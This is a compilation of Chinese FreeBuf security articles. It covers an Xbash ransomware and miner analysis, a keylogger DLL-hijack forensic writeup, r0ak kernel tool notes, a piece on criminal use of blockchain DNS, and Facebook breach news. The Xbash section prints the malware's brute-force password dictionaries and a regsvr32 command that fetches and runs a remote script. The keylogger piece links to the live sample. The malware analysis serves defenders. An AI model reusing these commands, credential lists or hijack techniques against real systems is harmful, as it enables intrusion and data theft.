Unit42安全研究团队发现了一款针对Linux和Microsoft Windows服务器的新型恶意样本,Xbash拥有勒索软件和核心功能,同时它还具备自我传播的功能。Xbash主要通过攻击弱密码和未修补的漏洞进行传播。

二、样本分析

样本是用Python语言进行开发编写,然后转化为PE文件,这样主要是为了做免杀处理,同时也具备跨平台的特性。

获取到相应的样本之后,解密提取出程序中的核心PY脚本,如下所示:

Xbash勒索挖矿样本分析

1.通过http://ejectrift.censys.xyz/cidir获取公网IP地址段,然后进行端口扫描,如下所示:

Xbash勒索挖矿样本分析

扫描的端口号列表如下:

873,3306,5432,6379,27017,8161,8088,8000,8080,8888,5900,5901,5902,9900,9901,9902

2.对相应的WEB服务端口进行扫描,如下所示:

Xbash勒索挖矿样本分析

相应的端口服务,列表如下:

HTTP:8088,8000,8080,80

VNC:5900,5901,5902,9900,9901,9902

RDP:3389

Oracle:1521

Rsync:873

Mssql:1433

Mysql:306

Postgresql:5432

Redis:6379,7379

Elasticsearch:9200

Memcached:11211

Mongodb:27017

3.然后对扫描到的WEB服务,进行暴力破解,如下所示:

Xbash勒索挖矿样本分析

4.使用内置的弱用户名和密码字典,暴力破解登录相应的服务,如下所示:

Xbash勒索挖矿样本分析相应的WEB服务列表如下:

Rsync,VNC,phpmyadmin,MySQL,postgresql,mongodb,redis

使用到的相应的弱用户名列表如下:

USER_DIC = {'mysql': ['root'],

 'postgresql': ['postgres', 'admin'],

 'mongodb': ['admin'],

 'redis': ['null']}

弱密码列表如下:

PASSWORD_DIC = ['test',

 'neagrle',

 '123456',

 'admin',

 'root',

 'password',

 '123123',

 '123',

 '1',

 '{user}',

 '{user}{user}',

 '{user}1',

 '{user}123',

 '{user}2016',

 '{user}2015',

 '{user}!',

 '',

 '[email protected]!!',

 'qwa123',

 '12345678',

 'test',

 '[email protected]#',

 '123456789',

 '123321',

 '1314520',

 '666666',

 'woaini',

 'fuckyou',

 '000000',

 '1234567890',

 '8888888',

 'qwerty',

 '1qaz2wsx',

 'abc123',

 'abc123456',

 '1q2w3e4r',

 '123qwe',

 '159357',

 '[email protected]',

 '[email protected]',

 'password!',

 '[email protected]!',

 'password1',

 'r00t',

 'tomcat',

 'apache',

 'system']

MY_PASSWORD = ['summer',

 '121212',

 'jason',

 'admin123',

 'goodluck123',

 'peaches',

 'asdfghjkl',

 'wang123456',

 'falcon',

 'www123',

 '1qazxsw2',

 '112211',

 'fuckyou',

 'test',

 'silver',

 '123456789',

 '234567',

 '1122334455',

 'xxxxxx',

 '123321',

 '7788521',

 '123456qaz',

 'hunter',

 'qwe123',

 '123',

 'asdf123',

 'password',

 '1q2w3e4r',

 'nihao123',

 'aaaa1111',

 '123123',

 '147258369',

 'a123',

 '123qwe',

 '1234abcd',

 'spider',

 'qqaazz',

 'qwertyuiop',

 '1234qwer',

 '123abc',

 'qwer1234',

 'mustang',

 '123456',

 '123456a',

 'ww123456',

 '1234',

 '123456.com',

 'football',

 'jessica',

 'power',

 'q1w2e3r4t5',

 'aaa123',

 'passw0rd',

 '741852',

 '666666',

 '123465',

 'justin',

 '[email protected]#$%^&*()',

 '12345',

 '222222',

 'qazwsx123',

 '999999',

 'abc123',

 'tomcat',

 'dongdong',

 '654321',

 '111111a',

 'q1w2e3',

 'dragon',

 '1234560',

 '1234567',

 'asd123456',

 'secret',

 'abc123456',

 'master',

 'qq123456',

 '1q2w3e',

 'playboy',

 '[email protected]',

 '123654',

 '88888888',

 '12345678',

 'orange',

 'rabbit',

 'jonathan',

 '000000',

 'qwer',

 'admin',

 'asdfasdf',

 '1234567890',

 '709394',

 '12qwaszx',

 'abcd1234',

 'pass',

 'fuck',

 'abc12345',

 'qweasdzxc',

 'abcdef',

 'superman',

 'rainbow',

 '11111111111',

 '1',

 '321',

 '888888',

 '1qaz2wsx',

 'test',

 '112233',

 'qazwsx',

 'welcome',

 '4815162342',

 'tiger',

 'wangyang',

 'q1w2e3r4',

 '111111',

 'a123456',

 'hello',

 '123456654321']

PASSWORD_DIC.extend(MY_PASSWORD)

5.如果成功登录到MySQL,MongoDB,PostgreSQL等WEB服务,会删除服务器中的数据库,然后创建一个勒索信息的新数据库,并写入一条勒索信息到新的数据库表中,如下所示:

针对MongoDB数据库的勒索:

Xbash勒索挖矿样本分析针对PostgreSQL数据库的勒索:

Xbash勒索挖矿样本分析针对MySQL数据库的勒索,如下所示:

Xbash勒索挖矿样本分析相应的勒索信息钱包地址和邮件地址如下:

‘Bitcoin_Address’: ’1Kss6v4eSUgP4WrYtfYGZGDoRsf74M7CMr’,

‘Email’: ‘[email protected]

6.针对内网进行扫描,获取本地网络信息,然后生成同一个子网内的IP地址列表,进行扫描,如下所示:

Xbash勒索挖矿样本分析内网扫描的相应端口号如下所示:

Xbash勒索挖矿样本分析

端口号:6379,8161,8088,8000,8080,8888

7.利用几个相关漏洞进行传播,如下所示:

Hadoop YARN ResourceManager未经身份验证的命令执行:

Xbash勒索挖矿样本分析ActiveMQ任意文件写入漏洞:

Xbash勒索挖矿样本分析Redis任意文件写入和远程命令执行:

Xbash勒索挖矿样本分析

写入执行,相应的crontab,如下所示:

Xbash勒索挖矿样本分析通过相应的漏洞进行感染其它系统的时候会同时感染相应的Window服务器,利用Windows的系统特性进行感染,相应的Windows命令如下:

regsvr32 /s /n /u /i:http://d3goboxon32grk2l.tk/reg9.sct scrobj.dll

8.写入相应的crontab自启动项,设置定时任务,从网上下载相应的挖矿脚本,如下所示:

Xbash勒索挖矿样本分析

9.下载的相应的挖矿脚本如下:

Xbash勒索挖矿样本分析先干掉其它的Linux系统下的各种挖矿家族,包括之前的(DDG挖矿家族),然后再下载自己的挖矿程序,如下所示:

Xbash勒索挖矿样本分析挖矿的端口号:3333,5555,7777,14444

10.Windows上的下载执行挖矿流程,设置自启动脚本reg9_sct,其实是一个PowerShell脚本,如下所示:

Xbash勒索挖矿样本分析解密出相应脚本之后,如下所示:

Xbash勒索挖矿样本分析

再次进行解密,如下所示:

Xbash勒索挖矿样本分析tmp.ps1脚本,内容如下:

Xbash勒索挖矿样本分析解密出相应的PowerShell脚本,如下:

Xbash勒索挖矿样本分析会下载相应的tmp.jpg恶意程序,同时设置相应的Windows计划任务,如下所示:

Xbash勒索挖矿样本分析11.tmp.jpg是一个64位的程序,使用VMP加壳,如下所示:

Xbash勒索挖矿样本分析经过分析是一个挖矿的程序,如下所示:

Xbash勒索挖矿样本分析相应的挖矿操作,如下所示:

Xbash勒索挖矿样本分析挖矿对应的字符串,如下所示:

Xbash勒索挖矿样本分析

三、解决方案

1、更改账户密码,设置强密码,避免使用统一的密码,因为统一的密码会导致一台被攻破,多台遭殃。

2、如果业务上能不使用RDP的,则建议关闭RDP。当出现此类事件时,推荐使用深信服防火墙,或者终端检测响应平台(EDR)的微隔离功能对3389等端口进行封堵,防止扩散!

3、深信服防火墙、终端检测响应平台(EDR)均有防爆破功能,防火墙开启此功能并启用相应的规则,EDR开启防爆破功能可进行防御。

4、建议对全网进行一次安全检查和杀毒扫描,加强防护工作。

5、普通用户,可下载如下工具,进行查杀。

*本文作者:千里目安全实验室,转载请注明来自 FreeBuf.COM

*本文作者:tahf,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。

前言

作为一名沉迷于安全技术的小白,近期在对公司一台Win7客户主机进行安全应急响应时,捕获到一个64位dll形式的恶意程序,于是对其展开分析,收获很多。下面想结合取证分析的过程,从取证经过、动静态分析、破解加密等角度入手,与大家分享一些综合性的恶意程序分析方法,相互启发,相互学习。也许有些方法比较基础,望各位大佬勿喷~

提供dll样本以便大家茶余饭后分析着玩玩~

链接:https://pan.baidu.com/s/1y7ylCgRU2khpVaYhlIngsw 密码:xut0

取证经过

某用户向SRC反映最近自己的邮箱账号被盗,作为应急中心的一员,我与团队成员一起对该用户的电脑进行了初步的取证和排查。

个人对个人主机排查的常用思路是:

可疑进程

网络流量

启动项

文件比对

但为了达到攻击持久化的目的,恶意程序往往会对系统进行驻留,因此对启动项进行检测排查是一个非常重要的环节。下面先推荐一款比较好用的常规自启动检测工具。

autoruns.exe

是一款出色的启动项目管理工具,作用就是检查开机自动加载的所有程序,例如硬件驱动程序,windows核心启动程序和应用程序。它比windows自带的msconfig.exe还要强大,通过它我们还可以看到一些在msconfig里面无法查看到的病毒和木马以及恶意插件程序,还能够详细的把启动项目加载的所有程序列出来。比如logon、explorer还有IE上加载的dll跟其它组件。

autoruns.exe

但autotuns也不是万能的,比如dll劫持等部分特殊的启动方式也无法检测到。作为取证人员,平时应该多多搜集和积累攻击者使用的奇淫巧技。

由于个人在对dll劫持方式有较多的了解和实践,同时结合文件比对,终于发现主机` C:\windows\` 目录下多了一个叫midimap.dll的动态库,基本可以断定为可疑程序,便对其展开分析。

结合文件比对

动静态分析

首先我们对加载该dll的进程做了监控和分析。

dll劫持技术分析:

根据以往经验,可以利用工具和相关命令迅速确定是哪些进程加载了这个midimap.dll,推荐2种简便方法。

tasklist /m XXX.dll

以管理员权限运行` tasklist /m` 命令,可以获得所有进程中加载的动态链接库,也可以具体到某一个dll对应的进程,见下图。

运行` tasklist /m` 命令

Process Explorer

非常好用的一款增强型任务管理器软件,让使用者能了解看不到的在后台执行的处理程序,能显示目前已经载入哪些模块,分别是正在被哪些程序使用着,还可显示这些程序所调用的 DLL进程,以及他们所打开的句柄。

Process Explorer

综上,可确定是explorer.exe进程加载了midimap.dll。

同时,我们利用一台干净的win7虚拟机对explorer.exe加载midimap.dll的过程进行了分析。使用Process Monitor软件对explorer.exe进程的行为进行了监控并设置了过滤条件,如下图。

进行分析

可发现正常情况下,explorer.exe应加载位于` C:\windows\system32\` 目录下的midimap.dll,但由于exe加载dll有一定的搜索顺序,会首先在同目录下查找对应的dll文件。因此将恶意的midimap.dll文件放置在` C:\windows\ ` 目录下即可实现dll劫持。

行为分析

除了对恶意程序进行直接的静态分析和动态跟踪调试,我们还常使用其他工具和手段对恶意程序的行为进行监控和分析,尤其在对一些较难逆向的复杂程序进行分析时,结合行为监控将大大提高分析效率。这里也简单介绍2款工具。

Procmon

Process Monitor是一款能够实时显示文件系统、注册表与进程活动的高级工具,是微软推荐的一个系统监视工具。增加了进程ID、用户、进程可靠度、等等监视项,可以记录到文件中。它的强大功能足以让其成为你系统中的核心组件以及病毒探测工具。

Process Monitor

文件监控软件

利用文件监控软件往往能对恶意程序的读写的文件的路径进行快速定位。

文件监控软件

在对该恶意动态库进行分析时,我们使用Procmon工具对explorer.exe(加载恶意dll)进程的行为进行了监控,在敲击键盘和移动鼠标时,会伴有文件读写的行为,定位到` C:\Users\Windows\Appdata\Local\Microsoft\Windows\Caches\caches_version.db` 疑似为恶意程序产生的记录文件。

使用010editor打开caches_version,疑似加密的记录文件。

疑似加密的记录文件

静态分析

用IDA对正常路径` C:\windows\system32\` 下的midimap.dll与在` C:\windows\` 下的恶意midimap.dll进行对比。可见恶意dll导出函数与正常dll的完全相同。

静态分析

但对恶意程序进行初步分析后,可发现其实现了函数转发,将功能的调用转至正常路径下的动态库。

初步分析

下图是从恶意dll中提取的字符串信息,根据经验,再结合函数导入表中调用` GetKeyState,GetClipboardData,GetWindowsTextA` 等函数,基本可以确定该恶意dll的大致功能,即为键盘记录工具。

提取的字符串信息

目前,恶意dll的功能基本有了大致的判断,下面我们希望通过动态调试的方式来尝试将加密的记录文件caches_version中的内容进行解密。

破解记录加密算法

下一步我们希望通过静态分析+动态调试该dll的方式来破解记录的加密算法。

由于它是一个x64的dll,可使用x64dbg工具来调试(可切换至中文)。

分析发现恶意dll在dll被加载后,在DllMainCRTStartup中创建了一个线程,该线程为键盘记录运行的线程。

破解记录加密算法

由于新创建的线程是恶意功能运转的线程,应跳入该线程中进行调试。这里遇到个小坑,一开始想通过x64dbg跳入新创建的线程中进行调试,在新线程地址设置了软硬件断点,但调试过程中总是异常退出,怀疑与x64dbg的Dllload64.exe有关。所以我自己用VS2010写了一个x64的exe使用loadlibrary来加载这个恶意dll。用x64dbg来调试该exe,在dll被load后,可在内存模块中找到这个dll,并在dll中搜索跨模块调用函数,在线程地址处下硬件断点,即可成功跳入线程中调试。

跳入线程中调试

同时,可以搜索当前模块中的所有字符串,来找到其记录的路径。或者调试下CreateFile也可以。

调试CreateFile

该路径下caches_version.db文件就是记录击键结果的加密文件,与前期行为监控的结果一致。

我们若想还原出加密文件的内容,便可以对恶意程序中调用读写文件函数的上文进行分析。一般都是对信息加密后再写入文件。因此容易找出加密写入文件的函数,sub_180001820(LPCVOID lpBuffer),通过F5转换为伪代码,经过分析,对伪代码的功能进行了注释。

对伪代码的功能进行了注释

注意到一个长度为6的字符串,而且在代码中为引用了3次,后面两次均为生成加密表用。

生成加密表用

重点看sub_1800025B0和sub_1800026B0两个函数(在sub_180001820被调用),动态调试下,可以发现sub_1800025B0函数每次生成的东西都是一样的。

动态调试

再分析调试sub_1800026B0函数。

分析调试sub_1800026B0函数

分析调试sub_1800026B0函数

分析调试sub_1800026B0函数

一样的问题,sub_1800026B0函数中每次生成的变换表也是一成不变的。也就是说我们通过动态调试得到的第2个表总是不变的,那么我们就可以直接将其提取出来,而不必分析前面生成它的算法,大大节省了时间!然后我从生成完这个表的之后开始调试,思路是用C语言来记录各个寄存器的操作,在栈中被加密和地址和加密用的表可以当作数组处理。

当作数组处理

最终整理发现,所以被加密的字节永远都是异或0xE7来实现加密。所以解密其记录文件时,只要异或一个0xE7即可。之前看似复杂的加密过程,没想到完全没有加入随机性,最终其只不过是简单异或加密而已,这应该是攻击者在设计加密算法时的重大失误。解密后的文件如下图。

解密后的文件

同时也说明在做加密时,一定要增加算法的随机性,比如可以根据前一个输入来生成加密的表,让前后有关联性。否则只是单字节一对一的加密,都可以不分析算法,直接试验一些输入再分析下输出即可搞定!(比如:在分析记录路径时,可以使用文件监控程序,然后不断敲击键盘,由于其程序需要不断想某文件中写入数据,所以文件监控很容易抓到这种频繁的改动,从而得出路径。在加密方面,可以先判断其是否是单字节一对一变换,这种可以通过连续敲入10个字母a,10个字母b来验证,如果加密记录结果中有连续出现10个同样的字节,说明其加密很有可能是单字节一对一变换。那么就很容易绕过其加密算法实现解密。)

感悟

这次是自己第一次分析并调试x64的dll,既积累了分析dll劫持的方法手段,又对x64dbg工具有了更多的实践,并填补了跳入线程调试的小坑。作为一名踏上安全之路的技术小白,在低头忙于手头工作的间隙,抬头眺望远方,深感安全之路漫长曲折。虽然在学习和实践技术时总会跳入各种坑,也常常被难题卡住,一路艰难困苦。但只要不放弃,不忘初心,总有一天当你蓦然回首,会发现之前挖过的坑,熬过的夜,吃得的苦,受过的寂寞都是一名安全从业者路途中最动人的风景~ 共勉~

*本文作者:tahf,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。

各位Buffer早上好,今天是2018年9月30日星期日,农历八月二十一。今天的早餐铺内容有:Facebook披露了影响5000万用户帐户的网络漏洞;第一个规模利用的 UEFI 恶意固件 rootkit 曝光;蔚来ES8行驶中系统死机;中华遗嘱库用区块链技术保障遗嘱安全有效;微软云计算开放硬件安全方案。

photo-1494695946268-6222f6246c4e.jpeg

Facebook披露了影响5000万用户帐户的网络漏洞

Facebook周五宣布,该公司发现了一个安全漏洞,黑客可利用这个漏洞来获取信息,而这些信息原本可令黑客控制约5000万个用户账号。Facebook CEO马克·扎克伯格(Mark Zuckerberg)称:“这是个非常严重的安全问题,我们正在非常认真地对待。”在披露这一消息之前,Facebook股价已经下跌了1.5%左右,消息传出后进一步走低,到收盘时下跌2.59%报164.46美元,盘中一度触及162.56美元的低点。[来源:cnBeta]

蔚来ES8行驶中系统死机

蔚来汽车首款量产车ES8作为一款国产电动产有着不小的名气,定位高性能和极致生活体验的智能7座SUV,首批车辆已经交付,但其稳定性却遭到质疑。据微博认证用户@亚东称,自己的蔚来ES8居然在行驶过程中出现了死机,车辆能开,但是行车系统加不上电,全车系统启动不了,重启依然加不上电。[来源:IT之家]

第一个规模利用的 UEFI 恶意固件 rootkit 曝光

ESET团队近日曝光了一个有规模利用的UEFI恶意固件样本LoJax,此恶意固件应该是由Sednit(又名APT28)组织打造用于配合恶意软件持久化控制受害者计算机,整个恶意植入的流程大概如下:检查固件安全设置是否正确,如果未正确设置(比如没有写保护)就直接写入恶意模块到SPI flash中,如果正确设置的情况下则使用CVE-2014-8273漏洞利用进而完成恶意模块植入。基于UEFI的rootkit成为了Sednit恶意软件体系重要的组成部分,关于其他部分的描述可以参考ESET给出的信息。此次曝光的攻击是针对Windows的机型,但由于其固件的特性可以很轻松的移植到其他平台,HardenedLinux社区的建议是常规的固件安全审计,以及基于包括自由固件在内的定制方案( hardenedboot)。[来源:Solidot]

中华遗嘱库用区块链技术保障遗嘱安全有效

据新京报报道,中华遗嘱库管委会主任陈凯近日表示,“今后,凡在中华遗嘱库进行遗嘱登记以及保管业务,所有电子证据保全及认证证书、数字证书、可信时间戳证书都将实时上传司法电子证据云,将遗嘱保管在遗嘱库将更加安全”。“遗嘱司法证据备案查询系统”将司法电子证据与遗嘱登记融合,这将让遗嘱保管更加具备司法公信力,也让遗嘱更安全。该系统是将中华遗嘱库登记。[来源:Bianews]

微软云计算开放硬件安全方案

微软作为OCP(开放计算节点基金会)的白金会员,此前贡献了名为Olympus的微软下一代数据中心的机架项目给OCP,其中服务器规格是基于x86/arm64处理器的1U/2U机型,而Olympus有一个衍生的开放硬件安全项目:Cerberus,Cerberus使用一个安全处理器对SPI总线和主板硬件设备之间进行拦截,作为信任根对固件(UEFI,OptionROMs,BMC,Intel ME/SPS以及其他外设的固件)的签名合法性和完整性进行检查,这一过程对于主CPU是无感知的。Cerberus目标是满足NIST SP 800-193固件合规指南的要求,随着NIST SP 800-193于2018年5月定稿,未来像Cerberus,OpenTITAN这类开放可审计的方案会更受欢迎。[来源:Solidot]

*本文由Andy.i整理编译,转载请注明来自FreeBuf.COM

对于研究人员来说,今天介绍的这款工具就相当于他们的“瑞士军刀”,因为这款名叫R0ak的命令行工具可以帮助研究人员在Windows 10操作系统上读取、写入和执行任意代码,用于进一步测试。

R0Ak:一款针对Windows 10的内核模式代码读取、写入和执行的测试工具

r0ak

r0ak是一款Windows平台下的命令行工具,它可以帮助我们在命令行界面下轻松读取、写入和执行内核模式代码,而且除了管理员权限之外,不需要其他额外的东西。

快速使用

r0akv1.0.0 — Ring 0 Army Knife

http://www.github.com/ionescu007/r0ak

Copyright(c) 2018 Alex Ionescu [@aionescu]

http://www.windows-internals.com

USAGE:r0ak.exe

       [--execute <Address |module.ext!function> <Argument>]

       [--write   <Address | module.ext!function><Value>]

       [--read    <Address | module.ext!function><Size>]

R0Ak:一款针对Windows 10的内核模式代码读取、写入和执行的测试工具

基础架构:

R0Ak:一款针对Windows 10的内核模式代码读取、写入和执行的测试工具

支持的命令

在使用–execute选项时,这个功能和参数由用户提供。

在使用–write时,需要使用一个自定义小公举来修改内核内存中任意位置的32字节值。

在使用–read时,需要使用一个写入小公举来修改系统中HSTI缓冲区指针和大小。

接下来,需要使用HSTI查询API来将数据重新拷贝至工具的用户模式地址空间内。

工具使用

由于工具需要使用到Windows符号引擎,所以我们需要安装Windows软件开发套件(SDK)或Windows驱动套件(WDK),以及Windows调试工具。工具安装完成后会自动查询安装路径,并使用目录中的DbgHelp.dll和SymSrv.dll,由于这些文件是无法多次使用的,因此工具中无法内置这些文件。

或者说,如果你想使用你自己的代码库,你也可以修改工具的源代码。

在使用符号时,需要联网,除非你在本地预先缓存好数据。除此之外,你还需要设置_NT_SYMBOL_PATH变量,并指向正确的符号服务器和缓存地址。

工具限制

本工具需要使用正确的Windows 10内核变量以及函数功能,并且只能在64位操作系统上使用。虽然在x86架构的操作系统上没有这些限制,但是这种平台有很多传统的方法可以使用,因此这款工具主要针对的是64位的的Windows 10。

限制条件:

1.   读取:一次只能读取4GB数据;

2.   写入:一次只能写入32位长度的数据;

3.   执行:函数的执行只能接收1个标量参数;

很明显,我们可以利用其它的编程手段或方法来绕过这些限制。需要注意的是,所有的命令执行(包括读取和写入命令)都需要在一个系统Worker线程(PASSIVE_LEVEL)环境下运行,因此用户模式地址不应该以参数进行传递。

* 参考来源:r0ak,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

自从2017年执法部门取缔了AlphaBayHansa这两个暗网市场之后,引发了人们对暗网市场前景的大量猜测。正如我们之前所讨论的那样,恐惧和不信任的氛围正在趋驱使网络犯罪社区采用更加先进的技术来提高自己的安全性,并努力让他们在网上所进行的非法交易处于保密状态,其中的一项技术就是区块链。

网络犯罪分子如何利用区块链隐藏自己

大多数人听到“区块链”这个词的时候,第一反应想到的就是加密货币和一些在社区用户之间以高度信任、高效率和高透明度进行事务交互的应用程序。然而,我们思考一下网络犯罪论坛的管理者们现在所遇到的问题,我们就不难发现对于他们来说,也许区块链技术的意义会非常大。为此,某些人已经开始在研究基于区块链的域名系统(DNS)了,并希望以这种方式来隐藏他们的恶意活动。

基于区块链的DNS和传统的DNS不同,通常来说,当我们在浏览器中输出一个网站地址后,计算机将会向DNS服务器请求一个IP地址。从本质上来说,它相当于互联网中的电话本。其中包含了实体名称,和‘.’之后的顶级域名(TLD)扩展,比如说.com、.gov、.edu、.uk和.de等等。TLD由一个中央授权机构(例如互联网名称与数字地址分配机构)或者地区管理机构控制(例如英国的Nominet和德国的DeNIC),相比之下,基于区块链的DNS是一种去中心化的DNS。区块链TLD,包括.bit、.bazar和.coin,它们都不属于任何一家单独的中心机构,DNS查询表是在网络中每一个对等节点之间共享的,并且使用了与传统DNS查询请求不同的技术来进行DNS查询。

222.png

去中心化的DNS有非常多好处,比如说可以反当局审查和防止DNS欺骗等等。但是,去中心化的DNS也有可能被攻击者滥用,由于区块链域名系统中不存在中心机构,并且注册信息包含唯一的加密哈希,而不是个人姓名或地址,因此这会增加执法部门的调查难度。下面给出的是几个使用区块链来完成网络犯罪的实际例子。

早在2016年1月份,当时出现了第一个使用区块链DNS来创建.bazar域名的网络犯罪组织,该组织名叫The Money Team,而他们使用这项技术的目的就是为了更好地隐藏自己的恶意活动。在2017年7月份,Joker’sStash这个热门的自动售货网站(AVC)开始使用区块链DNS建立Tor域名(.onion)来购买被盗的支付卡数据。如果用户想访问.bazar版本的网站,则需要安装区块链DNS浏览器插件或扩展。除此之外,其他的AVC网站或论坛也开始研究如何使用点对点的DNS技术来交易被盗账号信息了。

区块链技术还允许用户实现在线市场的一种替代模式,例如Tralfamadore网站就使用了区块链作为其后端数据库存储技术以及前端用户接口技术。网站所使用的交易货币为加密货币,并将交易记录以区块链智能合约的形式进行存储。采用该技术的目的是为了提升网站用户之间的信任度,因为所有的交易记录都会被永久保存下来,这样可以更加快速地识别欺诈供应商。

另一个使用了区块链技术的网站是OpenBazaar,这个项目从2016年4月上线,从那时起该网站的用户量就开始稳步增长。在2018年上半年,该网站的新增用户量增长了大约4000个,而代售商品从1800个增加到了27000多个。尽管用户和商品数量有了大幅增长,但该网站并没有被用于网络犯罪活动,而且该网站罗列的商品也没有违规商品。

网络犯罪分子如何利用区块链隐藏自己

需要注意的是,虽然现在有很多实现了区块链技术的例子,但是跟生活中绝大多数事物一样,这种技术同样存在两面性。比如说,基于区块链的平台所有交互记录都会被公开,这违背了很多用户想保护隐私的强烈意愿。作为网络安全研究人员,我们都清楚,只要存在被盗账户和支付卡数据,网络犯罪分子就会找到更富有创造力的方式来牟利。

* 参考来源:securityweek,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

北京时间 9 月 29 日早,Facebook 宣布遭遇网络攻击,导致约 5000 万用户信息泄露。

FaceBook

FaceBook 声称,黑客利用的漏洞主要存在于 FaceBook 的 “View As” 功能中,这个功能可以让用户查看自己的个人资料以及平台中其他用户对自己的看法。FaceBook 在 9 月 16 日注意到用户活动大增,在 9 月 27 日发现了这个漏洞。漏洞在 2017 年 7 月 FaceBook 更改视频上传功能时出现的,共包含三个不同的 bug,可被用于获取“访问令牌”(access token),从而控制用户账号。 

目前,FaceBook 已经重置了超5000万受影响账户的 token,并出于谨慎考虑重置了另外 4000 万去年曾使用过含安全漏洞的“View As”功能的用户账户。这导致超过 9000 万用户被强行登出账号,按截至 6 月 30 日 22.3 亿名 FaceBook 活跃用户总数算,约 4% 的用户受到影响。这些用户只能重新输入密码登录 FaceBook 以及其他使用 FaceBook 账号登录的应用,还将在“信息流”(News Feed)中收到通知说明。Facebook 称,用户没必要更改密码。如果有更多账号受到影响,则 Facebook 将马上对其“访问令牌”进行重置。想要注销的用户可以访问其设置中“安全和登录”部分,并选择一键式退出。

ee3efd73eeedee4.jpg

此外,Facebook 还将暂时关闭 “View As”功能,将对其安全性进行审查。目前,FaceBook 已经确认了漏洞情况并修复完成,同时也启动了调查。但调查仍处于初级阶段,既不清楚黑客的身份和来源,也没来得及充分评估攻击的范围,也不清楚是否有失窃的用户信息被滥用。泄露事件公开之前,Facebook 股价已经下跌了 1.5% 左右,消息传出后则进一步走低,一度下跌 3.05%。到收盘时下跌 2.59% 报 164.46 美元,盘中一度触及 162.56 美元的低点。

QQ__20180929095243.x_large.jpg

这已经不是 FaceBook 第一次深陷数据泄露漩涡了,2008 年该公司曾因为技术故障导致 8000 万用户出生日期泄露、2013 年则不慎泄露 600 万用户电话号码和电子邮件地址、2018 年 6 月 8700 万用户数据被剑桥分析非法获取引起大规模探讨。周五这起泄露事件后,FaceBook 也再次面临集体诉讼。

Facebook CEO 扎克伯格迅速对此事作出回应。他表示 Facebook 正与美国联邦调查局(FBI)合作,以解决这一问题。根据欧洲通用数据保护法规(GDPR)义务,Facebook 也已将相关情况通报给爱尔兰数据保护委员会。此外,FaceBook 还表示将把专注改进安全性的员工人数从 1 万人增加至 2 万人。

推特自曝可能泄露隐私的漏洞

据腾讯证券 9 月 22 日消息,推特当天表示自己修补了一个可能导致外部软件开发者共享用户私人信息的漏洞。推特公司发言人表示,目前“没有证据表明任何数据在任何地方都能够被误用或利用”,并强调只有在满足一系列复杂标准的情况下才会出现这种错误。 “这种情况几乎不可能发生,但我们仍然希望彻底解决这一漏洞。”Twitter 表示将继续调查这一情况,还在博客中声称联系了可能受到影响的第三方“开发商”。这个漏洞于 9 月 10 日被发现,并在数小时内得到修复。Twitter 公司确保披露关于漏洞的最准确信息。该发言人还表示,用户之间的私人消息并没有泄露给外部软件开发者。

gettyimages-876768474.jpg

据估计,截至 7月 份的 3.35 亿月活跃用户中,受该问题影响的用户不到 Twitter 总用户体群的1%。与 FaceBook 相比,推特自曝漏洞的行为似乎更优前瞻性也更有诚意。但尽管如此,推特的股票价格仍然下跌超4%,其中在披露漏洞后股票迅速跌至日内新低。

就在推特自曝漏洞的前两天,谷歌在给美国参议院的回信中也承认了允许第三方应用开发者扫描并收集 Gmail 数据,这也可能导致用户数据被第三方滥用,侵犯隐私。随后,谷歌母公司  Alphabet 的股价下跌 1.4% 。

科技巨头纷纷深陷“隐私门”,让用户对社交网络的信任不断下降,也为这些大公司的后续发展敲响了警钟。9 月 26 日,美国商务委员会与科技公司关于消费者隐私保护的听证会刚刚结束,FaceBook 的数据泄露就随之而来。这起事件的后续处置,也许将成为万众瞩目的焦点。而无论结果如何,最受伤的依旧是任人鱼肉的用户……

*参考来源:securityaffairstheverge,xw.qq.com, 作者 AngelaY ,转载请注明来自 FreeBuf.COM